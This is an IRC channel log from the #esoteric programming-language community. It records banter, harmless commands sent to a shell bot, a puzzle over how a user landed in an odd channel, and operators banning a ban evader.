:oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i like kskellyttv < 1394646925 861224 :ion!ion@heh.fi PRIVMSG #esoteric :Käskell Kärry < 1394646943 448049 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`coins < 1394646945 299102 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :breusnecoin movecoin justrovecoin tyncoin madbalmoicoin brainfuckcoin flumpcoin resolcoin shanemcoin ypsilacoin arcacoin limpcoin bestflcoin discoin menshacoin plumpcoin graticoin face1.0coin secitcoin maniccoin < 1394646953 24015 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :plumpcoin < 1394646964 931173 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :this will not fly. < 1394648185 814966 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394648393 655572 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :maniccoin sounds accurate < 1394648512 123155 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394648614 372316 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`cat bin/coins < 1394648614 927901 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :words ${1---eng-1M --esolangs 20} | sed -re 's/( |$)/coin\1/g' < 1394648672 259229 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`ls < 1394648672 815618 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :98076 \ a \ app.sh \ bdsmreclist \ bin \ canary \ cat \ complaints \ :-D \ dog \ etc \ factor \ fb \ fb.c \ head \ hello \ hello.c \ ibin \ index.html \ interps \ lib \ paste \ pref \ prefs \ quines \ quotes \ share \ src \ test \ Test \ Test.hi \ Test.hs \ UNPA \ wisdom \ wisdom.pdf < 1394648681 546498 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`paste 98076 < 1394648682 510214 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/98076 < 1394648718 960320 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :(actually, I were looking for the link to the repo web interface) < 1394649302 280786 :mr45!~mr45@cpc27-hudd10-2-0-cust59.4-1.cable.virginm.net QUIT :Remote host closed the connection < 1394650283 889921 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :`cat :-D < 1394650284 579597 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​☺ < 1394650322 905562 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :`cat dog < 1394650323 499874 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ヽ༼ຈل͜ຈ༽ノ < 1394650364 825213 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :`cat cat < 1394650365 560528 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Meow~~ < 1394650648 608816 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk QUIT :Quit: quit < 1394650795 327578 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 264 seconds < 1394651186 656154 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :`cat UNPA < 1394651187 432961 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/* \ UTF-to-VLQ \ Public domain \ */ \ \ #include \ #include \ \ #ifdef _WIN32 \ #include \ #endif \ \ typedef unsigned char byte; \ typedef unsigned long long ULL; \ \ typedef ULL(*in_func_t)(void); \ typedef void(*out_func_t)(ULL); \ \ char in_mode; \ char out_mode; \ int options[128]; \ ULL translation[ < 1394651471 461575 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk JOIN :#esoteric < 1394652980 983331 :yorick!~yorick@oftn/member/yorick QUIT :Quit: No Ping reply in 180 seconds. < 1394653201 236389 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394653539 183247 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`` cat ate the canary < 1394653539 904522 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :cat: ate: No such file or directory \ cat: the: No such file or directory \ chirp < 1394653753 228797 :yorick!~yorick@oftn/member/yorick QUIT :Read error: Connection reset by peer < 1394653936 191729 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394654345 350555 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1394655252 885185 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1394655978 420662 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: Connection reset by peer < 1394656050 508306 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394656078 295728 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394656105 288982 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 240 seconds < 1394656357 118608 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :`help < 1394656357 234705 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1394659369 301152 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 240 seconds < 1394659677 301657 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk QUIT :Quit: quit < 1394659933 370152 :itsy!~digital_w@37.152.198.84 JOIN :#esoteric < 1394660211 138591 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394660853 379301 :AnotherTest!~turingcom@94-224-29-17.access.telenet.be QUIT :Ping timeout: 264 seconds < 1394661411 62704 :atslash!~atslash@broadband-46-188-0-82.2com.net JOIN :#esoteric < 1394661726 49699 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1394662586 954604 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I had an idea for a C obfuscation idea but it does not really work < 1394662788 40232 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://i.imgur.com/sM8lCRb.png HTML5 tokenizer state graph < 1394662800 507886 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :not including tokenizer state changes caused by the tree builder < 1394662924 402781 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Looks fun < 1394663071 372993 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394663264 245975 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Taneb: what was the idea? < 1394663279 471531 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Using scanf, &&, and || to make a fun parser < 1394663326 426024 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394664484 389783 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1394664770 55364 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394665355 903572 :MoALTz_!~no@user-46-113-90-183.play-internet.pl QUIT :Quit: Leaving < 1394665388 740872 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394665953 754392 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1394666078 309753 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394666833 627106 :atslash!~atslash@broadband-46-188-0-82.2com.net QUIT :Quit: This computer has gone to sleep < 1394667376 250769 :nycs!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com JOIN :#esoteric < 1394667458 436107 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com QUIT :Read error: Operation timed out < 1394667463 444590 :nooodl!~nooodl@91.177.69.110 QUIT :Quit: Ik ga weg < 1394667602 271522 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1394667629 151253 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1394667728 534685 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Read error: Connection reset by peer < 1394667811 213036 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1394668539 195008 :function!root@freebsd/developer/variable NICK :trout < 1394669627 270685 :kasia13!~perdito@46.114.2.144 JOIN :#esoteric < 1394669653 920037 :kasia13!~perdito@46.114.2.144 NICK :haggy < 1394669680 405580 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :oerjan: how did I end up in a channel that has oerjan in the name? < 1394669777 628422 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :how should i know < 1394670232 920421 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :It's definitely connected to you, or someone trying to make victims think it's connected to you < 1394670248 492576 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :It's #!oerjan@sprocket.nvg.ntnu.no < 1394670274 548270 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And I have not the faintest idea why or how it exists or I landed there < 1394670308 242460 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :did it happen when you joined some other channel? < 1394670366 472708 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :It... may have? I don't know, it happened when I opened my IRC client < 1394670371 145370 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Or some time after < 1394670406 914402 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Actually, seems like some time before, like I was logging, but didn't realize I was there before < 1394670435 604944 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: can you check if you are banned in some channel you usually join? < 1394670457 666362 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also given the timing, i have one possible suspect. < 1394670463 824154 :ChanServ!ChanServ@services. MODE #esoteric +o :oerjan > 1394670463 857391 NAMES :#esoteric < 1394670487 244502 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :#acehack but that's been like that for a while < 1394670487 355449 :oerjan!oerjan@sprocket.nvg.ntnu.no MODE #esoteric -b :*!*siruf@unaffiliated/motley$##fix_your_connection > 1394670487 377905 NAMES :#esoteric < 1394670488 211550 :ChanServ!ChanServ@services. MODE #esoteric +o :elliott_ > 1394670488 233229 NAMES :#esoteric < 1394670493 746499 :elliott_!~elliott@unaffiliated/elliott MODE #esoteric +b :haggy!*@* > 1394670493 768377 NAMES :#esoteric < 1394670496 34383 :elliott_!~elliott@unaffiliated/elliott KICK #esoteric haggy :ban evasion < 1394670501 3654 :elliott_!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*perdito@* > 1394670501 25595 NAMES :#esoteric < 1394670511 275220 :elliott_!~elliott@unaffiliated/elliott MODE #esoteric +b :$a:perdito > 1394670511 296794 NAMES :#esoteric < 1394670555 523808 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Hmm, might be others tht I'm not sure if I attempt to autojoin < 1394670563 692656 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: thank you for opping to make me notice that. < 1394670566 617388 :elliott_!~elliott@unaffiliated/elliott MODE #esoteric -o :elliott_ > 1394670566 639618 NAMES :#esoteric < 1394670573 225964 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :YOU'RE WELCOME < 1394670592 908703 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Don't see anything else banny in Freenode < 1394670597 653632 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The server tab < 1394670807 852763 :oerjan!oerjan@sprocket.nvg.ntnu.no MODE #esoteric -o :oerjan > 1394670807 874239 NAMES :#esoteric < 1394670851 556133 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: are you on any channel on which sirus has ops? < 1394670865 724498 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't know who sirus is < 1394670879 81038 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :someone i banned yesterday < 1394670885 815388 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :because they kept quitjoining < 1394670889 265488 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Then again, I barely know who's in most of the channels < 1394670908 838740 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :siruf is in #elixir-lang < 1394670912 882143 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Which I'm in < 1394670948 700251 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm that only has a single ban < 1394670956 713553 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which is not relevant. < 1394670974 152312 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh wait siruf < 1394670986 113517 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :siruf is who you unbanned just before < 1394670989 712558 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk JOIN :#esoteric < 1394671008 62107 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :if you have server window logs they will probably contain the answer. < 1394671011 119223 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yes, i somehow mistyped it everywhere else < 1394671021 315493 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :If it helps, Ienpw_III was there too < 1394671060 857893 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: well elliott_ is right, look in your logs to see what messages happened before you entered the channel < 1394671136 599680 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Don't see oerjan in the server logs anywhere except when I did the whois < 1394671154 177420 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well you must have entered the channel at one point. < 1394671166 644471 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't think Quassel lists that in the server window < 1394671184 154746 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :[19:57:08] * Channel #!oerjan@sprocket.nvg.ntnu.no created on 2014-03-10 22:21:18 UTC < 1394671192 764660 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and it's not messages with "oerjan" that are interesting, it's what other channels your client was _trying_ to join when it happened. < 1394671193 693685 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I have logs from 3/10 in there < 1394671201 644996 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah. < 1394671240 335603 :trn!jhj@2600:3c00::f03c:91ff:feae:3efa QUIT :Ping timeout: 265 seconds < 1394671260 206093 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :of course it's also possible you joined it through some hilarious mistyping :P < 1394671281 752010 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Seems like somehow it's related to ##nomic < 1394671288 601300 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Another ##nomic user in there, you're in there < 1394671289 597706 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well i guess siruf is in the clear, then, the channel happened before. < 1394671315 192808 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :doesn't have much ban there either. < 1394671320 771386 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :maybe it was an invite? < 1394671348 509187 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Hmm... do I autojoin invites? < 1394671357 189642 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Someone invite me somewhere? < 1394671394 513260 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm nowhere else, so don't ask me < 1394671407 838538 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well except ##nomic where i don't have ops < 1394671421 874676 :Sgeoweb!44c2df0c@gateway/web/freenode/ip.68.194.223.12 JOIN :#esoteric < 1394671437 610668 :trn!jhj@2600:3c00::f03c:91ff:feae:3efa JOIN :#esoteric < 1394671491 366341 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The invite ends up in the server tab, not forced. Can invites be forced? < 1394671529 934825 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sounds unlikely < 1394671539 998837 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394671544 258213 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but channel forwards are, of course < 1394671549 614305 :Sgeoweb!44c2df0c@gateway/web/freenode/ip.68.194.223.12 QUIT :Client Quit < 1394671561 564947 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :whether through bans or otherwise. < 1394671581 907380 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well unless there's an option not to, could be < 1394671617 659541 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I'm automatically forwarded to #nethack4 every day, but that's not atypical < 1394671630 29165 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's a mystery < 1394671752 804841 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394671820 421058 :iamcal____!sid1110@gateway/web/irccloud.com/x-zwcntaqmesjgoiaf QUIT :Ping timeout: 265 seconds < 1394671823 367856 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394671830 148838 :iamcal____!sid1110@gateway/web/irccloud.com/x-ccdncjukahnpvngk JOIN :#esoteric < 1394671831 345376 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :* Channel #!oerjan@sprocket.nvg.ntnu.no created on 2014-03-10 22:21:18 UTC < 1394671835 840320 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is the exact timestamp < 1394671854 257373 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's not what i saw when i joined < 1394671886 318257 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :maybe something went horribly wrong during a netsplit < 1394671936 366738 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 265 seconds < 1394671968 424817 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1394671971 923261 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394671977 351677 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Ping timeout: 264 seconds < 1394671988 418862 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :nothing interesting happened in #esoteric at that time, fwiw. you joined nearly an hour later. < 1394672096 367088 :sn0wboard!~sn0wboard@46.115.69.54 JOIN :#esoteric < 1394672155 676316 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: if you have #esoteric on autojoin, it seems unlikely that you would have joined that channel at the time it was created but not #esoteric? < 1394672187 562393 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :[19:57:08] --> Sgeo (~quassel@ool-44c2df0c.dyn.optonline.net) has joined #!oerjan@sprocket.nvg.ntnu.no < 1394672187 617676 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :[19:57:08] *** Mode #!oerjan@sprocket.nvg.ntnu.no +ns by dickson.freenode.net < 1394672187 617816 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :[19:57:08] * Channel #!oerjan@sprocket.nvg.ntnu.no created on 2014-03-10 22:21:18 UTC < 1394672188 302390 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394672203 618834 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ienpw_III may have been there before me < 1394672232 978162 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :what timezone is that 19:57 < 1394672323 985851 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :EDT (near daylight savings border though, mayve) < 1394672363 812846 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`date 19:57 EDT < 1394672364 404662 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :date: invalid date `19:57 EDT' < 1394672369 791103 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :WHATEVER < 1394672389 231284 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :stupid americans think people understand letter codes < 1394672389 289978 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :`date 19:57 EST < 1394672389 863533 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :date: invalid date `19:57 EST' < 1394672440 48353 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk QUIT :Quit: quit < 1394672442 13224 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm 15:57 UTC < 1394672452 316009 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: um was this on the 10th? < 1394672467 559786 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh wait < 1394672479 692423 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :23:57 < 1394672506 89615 :sn0wboard!~sn0wboard@46.115.69.54 PRIVMSG #esoteric :`date 20:00 PDT < 1394672506 644854 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :date: invalid date `20:00 PDT' < 1394672524 386276 :sn0wboard!~sn0wboard@46.115.69.54 PRIVMSG #esoteric :`date 8pm PDT < 1394672524 940462 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :date: invalid date `8pm PDT' < 1394672573 458454 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sn0wboard: i vaguely suspect it's complaining that it's not containing, like, a _date_. < 1394672616 459582 :sn0wboard!~sn0wboard@46.115.69.54 PRIVMSG #esoteric :you need to know where it's 20:00 now? < 1394672618 384253 :sn0wboard!~sn0wboard@46.115.69.54 PRIVMSG #esoteric :or when? < 1394672631 399595 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: well if that was on the 10th then it was nearly 40 minutes _after_ you joined. < 1394672667 995879 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sn0wboard: no, i am trying to find out where those times Sgeo are referring to are in the #esoteric logs, although i'm not sure we're even on the same date. < 1394672679 402654 :sn0wboard!~sn0wboard@46.115.69.54 PRIVMSG #esoteric :okay < 1394672716 137090 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: was that 19:57 on the 10th or today? < 1394672752 167164 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :because i am, as should be obvious, trying to find out if anything interesting happened at the point in time when you _first_ entered the channel. < 1394672771 640482 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and getting slightly impatient in the process. < 1394672875 521073 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The 10th < 1394672889 341866 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i should definitely never go into tech support, i'd be a serial killer in days. < 1394672922 942277 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :23:57:42: I remember you talking about Smalltalk inspiring Feather < 1394672941 619432 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's the only thing in the #esoteric logs at that minute < 1394672999 561340 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hmph i was there at the time but i don't keep ##nomic logs < 1394673007 400003 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 264 seconds < 1394673017 566745 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh well. the mystery remains. < 1394673128 743017 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Nothing interesting there at least as far as I can see < 1394673283 938216 :sn0wboard!~sn0wboard@46.115.69.54 PRIVMSG #esoteric :seems you guys are bored.. though that impression could be deceiving as well < 1394673317 699242 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sn0wboard: well you didn't catch the beginning of the mystery < 1394673325 400040 :sn0wboard!~sn0wboard@46.115.69.54 PRIVMSG #esoteric :true fact < 1394673360 28741 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :apparently Sgeo somehow found himself in a channel named #!oerjan@sprocket.nvg.ntnu.no and we have no idea why < 1394673372 110702 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i certainly didn't make it. i think. < 1394673397 902886 :sn0wboard!~sn0wboard@46.115.69.54 PRIVMSG #esoteric :oh.. < 1394673406 478554 :sn0wboard!~sn0wboard@46.115.69.54 PRIVMSG #esoteric :..hell! < 1394673490 53088 :sn0wboard!~sn0wboard@46.115.69.54 PRIVMSG #esoteric :see! when knowledge increase wonder deepens < 1394673520 13711 :sn0wboard!~sn0wboard@46.115.69.54 PRIVMSG #esoteric :welly well..didn't mean to disturb drwatson < 1394673522 510379 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :woah dude < 1394673574 787754 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :don't have any more ideas really. i took a look at the raw #esoteric channel logs, nothing there either. < 1394674447 293476 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394674658 200406 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :00:13:47 -!- kasia13 [~perdito@46.114.2.144] has joined #esoteric < 1394674660 91611 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :00:54:56 -!- sn0wboard [~sn0wboard@46.115.69.54] has joined #esoteric < 1394674667 239725 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :sn0wboard: why are you ban evading? < 1394675288 611945 :sebbu!~sebbu@unaffiliated/sebbu QUIT :Ping timeout: 252 seconds < 1394675589 155307 :ChanServ!ChanServ@services. MODE #esoteric +o :elliott_ > 1394675589 177634 NAMES :#esoteric < 1394675644 701809 :elliott_!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*sn0wboard@* > 1394675644 725557 NAMES :#esoteric < 1394675663 895778 :elliott_!~elliott@unaffiliated/elliott KICK #esoteric sn0wboard :you have carefully ensured you are never going to get unbanned, please go away forever < 1394675740 647698 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :tragic. < 1394675750 372635 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :is there any easy way to query all IP blocks owned by a certain ISP? < 1394675756 295867 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I'd like to ban his temporarily. < 1394675768 841178 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :or at least a certain AS thingy < 1394675802 726984 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :AS? < 1394675855 658761 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Autonomous_system_(Internet) I assume < 1394675988 323351 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :whatever, I'll just ban him the next time too. < 1394675990 946174 :elliott_!~elliott@unaffiliated/elliott MODE #esoteric -o :elliott_ > 1394675990 968186 NAMES :#esoteric < 1394675994 877595 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :idiot. < 1394676005 684932 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :no idea what he's getting out of this. < 1394676070 554461 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394676105 281277 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394676391 333448 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1394676391 424870 :Slereahphone!~slereahph@80.10.161.234 QUIT :Ping timeout: 264 seconds < 1394676396 673816 :vravn!~vravn@syn.rook.sx QUIT :Quit: vravn goes < 1394677049 843204 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Good night < 1394677675 234961 :shikhout!~Shikhin@unaffiliated/shikhin 